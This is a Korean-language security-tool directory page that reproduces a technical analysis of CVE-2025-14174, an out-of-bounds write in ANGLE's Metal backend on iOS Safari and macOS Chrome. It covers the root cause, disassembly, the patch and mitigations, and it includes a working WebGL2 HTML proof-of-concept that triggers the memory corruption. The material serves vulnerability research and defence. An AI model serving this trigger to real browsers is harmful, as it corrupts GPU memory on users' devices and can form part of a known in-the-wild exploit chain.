Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-14174-analysis — CVE-2025-14174에 대한 분석 및 PoC - ANGLE Metal OOB 쓰기 (iOS Safari, macOS Chrome) | Kitploit
도구/GitHubGitHub/typeconfused/cve-2025-14174-analysis
iOS SecurityVulnerability AnalysisExploitationWeb SecurityMobile SecurityHardware SecurityBinary Analysis
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-14174에 대한 분석 및 PoC - ANGLE Metal OOB 쓰기 (iOS Safari, macOS Chrome)

저장소 보기
17개월 전아직 검토되지 않음

CVE-2025-14174 분석: ANGLE Metal Staging Buffer Out-of-Bounds Write

CVE-2025-14174에 대한 기술 분석 및 개념 증명

CVECVE-2025-14174
심각도높음
실제 공격에 사용됨예 - iOS 26 미만 대상 공격
영향을 받는 대상iOS Safari, macOS Chrome/Chromium/Electron (macOS Safari 제외)
상태ANGLE 커밋 95a32cb에서 패치됨
크레딧Apple, Google Threat Analysis Group

실제 공격 사례 (In-the-Wild Exploitation)

Apple에 따르면, CVE-2025-14174는 iOS 26 이전 버전에서 "특정 표적 개인을 대상으로 한 매우 정교한 공격" 의 일부로 악용되었습니다.

공격 체인은 다음과 같습니다:

  • CVE-2025-14174 (이 문서) - ANGLE Metal OOB write
  • CVE-2025-43529 (WebKit Bug 302502) - WebKit use-after-free

목차

  • 요약
  • 영향 받는 플랫폼
  • 영향
  • 근본 원인
  • 트리거 조건
  • 기술 분석
  • 개념 증명
  • 수정 사항
  • 탐지 참고 사항
  • 완화 조치
  • 참고 자료

요약

ANGLE의 Metal 백엔드에서 스테이징 버퍼를 통해 깊이 텍스처를 업로드할 때 out-of-bounds(OOB) 쓰기 취약점이 존재합니다. 스테이징 버퍼 크기는 실제 텍스처 높이 대신 GL_UNPACK_IMAGE_HEIGHT를 사용하여 계산됩니다. UNPACK_IMAGE_HEIGHT < height인 경우 ANGLE은 크기가 작은 버퍼를 할당하고 이후 height 행(row)을 그 버퍼에 쓰게 되어 렌더러 프로세스에서 GPU 메모리 손상이 발생합니다.


영향 받는 플랫폼

이 취약점은 WebGL에 ANGLE의 Metal 백엔드를 사용하는 애플리케이션에 영향을 미칩니다:

플랫폼 상세

iOS Safari는 영향을 받습니다. iOS에서 WebKit은 ANGLE을 WebGL 백엔드로 사용하므로 iPhone 및 iPad의 Safari가 취약합니다.

macOS Safari는 영향을 받지 않습니다. macOS에서 Safari는 ANGLE을 거치지 않고 Metal과 직접 인터페이스하는 WebKit 자체 네이티브 WebGL 구현을 사용합니다.

macOS Chrome은 영향을 받습니다. macOS 26.1에서 실행되는 Google Chrome은 WebGL에 ANGLE의 Metal 백엔드를 사용하므로 테스트 중 취약한 것으로 나타났습니다.

취약한 코드 경로는 ANGLE의 TextureMtl 클래스(setSubImageImpl / setPerSliceSubImage / SaturateDepth)에 있습니다.


영향

SeverityDescription
확인됨GPU/Metal 백엔드가 스테이징 버퍼 끝을 넘어 쓰기
확인됨WebGL2 + PBO + DEPTH_COMPONENT32F로 재현 가능

주요 특징:

  • 버그는 WebGL에서 조용히 발생 (일반적으로 NO_ERROR 반환)
  • 대부분의 경우 가시적인 렌더링 아티팩트 없음
  • Metal 검증 레이어가 오버플로를 감지하지 못할 수 있음
  • 힙 레이아웃에 따라 GPU 프로세스 불안정 또는 악용 가능성

근본 원인

D32F 깊이 텍스처 업로드 경로에서 ANGLE은 GL_UNPACK_IMAGE_HEIGHT로부터 pixelsDepthPitch를 계산하고 이 값을 사용하여 스테이징 MTLBuffer의 크기를 정합니다. 그러나 이후의 컴퓨트 디스패치(깊이 포화)는 실제 텍스처 높이를 사용하므로 매개변수가 다를 때 OOB 쓰기가 발생합니다.

크기 불일치 예시

width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F의 경우:


트리거 조건

다음 모든 조건이 충족되어야 합니다:

  1. WebGL2 컨텍스트 (PBO 지원 필요)
  2. 깊이 텍스처 형식 DEPTH_COMPONENT32F (확인됨; 다른 깊이 형식도 영향을 받을 수 있으나 테스트되지 않음)
  3. PIXEL_UNPACK_BUFFER에 바인딩된 Pixel Buffer Object (PBO)
  4. GL_UNPACK_IMAGE_HEIGHT가 실제 텍스처 높이보다 작게 설정됨
  5. ANGLE Metal 백엔드 활성화 (iOS Safari, 또는 macOS의 Chrome/Chromium/Electron)

WebGL이 이를 차단하지 못하는 이유

GL_UNPACK_IMAGE_HEIGHT는 GL 사양상 3D/배열 텍스처 업로드에 영향을 미치며 2D 텍스처에는 영향을 주지 않습니다. TEXTURE_2D의 경우:

  • 매개변수는 수용되지만 WebGL 검증에 참여하지 않음
  • WebGL은 2D 텍스처에 대해 UNPACK_IMAGE_HEIGHT < height을 거부하지 않음
  • ANGLE이 이 매개변수를 잘못 사용하여 깊이 업로드용 스테이징 버퍼 크기를 결정

기술 분석

취약한 호출 체인

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← UNDERSIZED
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USES REAL HEIGHT

바이너리 증거 (iOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

바이너리 증거 (macOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

SaturateDepth 함수는 이후 실제 텍스처 크기를 사용하여 Metal 컴퓨트 셰이더를 디스패치하며, 크기가 작은 스테이징 버퍼를 넘어 쓰기를 수행합니다.


개념 증명

최소 트리거 (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

취약한 시스템에서의 예상 결과: GPU 프로세스에서 OOB 쓰기가 발생했음에도 gl.getError()가 NO_ERROR를 반환합니다.


수정 사항

ANGLE 커밋 95a32cb는 스테이징 버퍼 할당을 실제 텍스처 크기를 사용하도록 수정합니다:

root@kitploit:~
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

또한 블릿(blit) 작업을 위해 srcBytesPerImage 계산이 수정되었습니다:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

탐지 참고 사항

이 취약점은 JavaScript에서 탐지하기 어렵습니다:

  • 스테이징 버퍼는 GPU 프로세스 내부의 Metal 리소스입니다
  • WebGL은 일반적으로 버그가 트리거되어도 NO_ERROR를 반환합니다
  • Metal 검증 레이어가 오버플로를 플래그하지 않을 수 있습니다
  • 대부분의 경우 가시적인 렌더링 아티팩트 없음
  • Metal API 호출 계측 또는 GPU 메모리 디버깅 필요

완화 조치

방법설명
업데이트ANGLE 수정 사항이 포함된 플랫폼 업데이트 적용
해결 방법깊이 텍스처에 대해 UNPACK_IMAGE_HEIGHT를 실제 높이보다 작게 설정하지 않음
심층 방어UNPACK_IMAGE_HEIGHT == height인 고정 크기 업로드 사용

참고 자료

  • ANGLE 수정: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Chromium 버그: https://issues.chromium.org/issues/466192044
  • WebKit 버그 (CVE-2025-43529): https://webkit.org/b/302502
  • 영향 받는 플랫폼:
    • iOS: Safari (WebKit이 ANGLE Metal 사용)
    • macOS: Chrome, Chromium, Electron (ANGLE Metal 사용)

크레딧

취약점 발견: Apple, Google Threat Analysis Group

기술 분석: 이 문서는 취약점에 대한 독립적인 연구 및 리버스 엔지니어링을 기록합니다.


SpiderWebKit 보안 연구 프로젝트의 일환으로 수행된 분석.

도구 다운로드
PlatformSoftwareAffectedNotes
iOSSafari예iOS의 WebKit은 WebGL에 ANGLE Metal 사용
macOSChrome / Chromium예ANGLE Metal 백엔드 사용
macOSElectron apps예Chromium의 ANGLE 구현 사용
macOSSafari아니요WebKit의 네이티브 Metal WebGL 사용, ANGLE 아님
가능성 있음
메모리 압박 시 GPU 프로세스 충돌 또는 컨텍스트 손실
이론적GPU 메모리 내 교차 리소스 손상 (시연되지 않음)
매개변수계산값
행 피치width * sizeof(float)4바이트
스테이징 버퍼 (할당됨)rowPitch * UNPACK_IMAGE_HEIGHT512바이트
컴퓨트 디스패치 (쓰여짐)rowPitch * actualHeight2048바이트
OOB 쓰기2048 - 5121536바이트
함수주소역할
setSubImageImpl0x272fa9028크기가 작은 depthPitch 계산
setPerSliceSubImage0x272fac240크기가 작은 스테이징 버퍼 할당
MakeBufferWithStorageMode0x272ef19bc잘못된 크기의 MTLBuffer 생성
SaturateDepth0x272facfa4실제 크기로 컴퓨트 디스패치
함수주소역할
setSubImageImpl0x22c6d10f4크기가 작은 depthPitch 계산
setPerSliceSubImage0x22c6d4398크기가 작은 스테이징 버퍼 할당
MakeBufferWithStorageMode0x22c619490잘못된 크기의 MTLBuffer 생성
SaturateDepth0x22c6d5144실제 크기로 컴퓨트 디스패치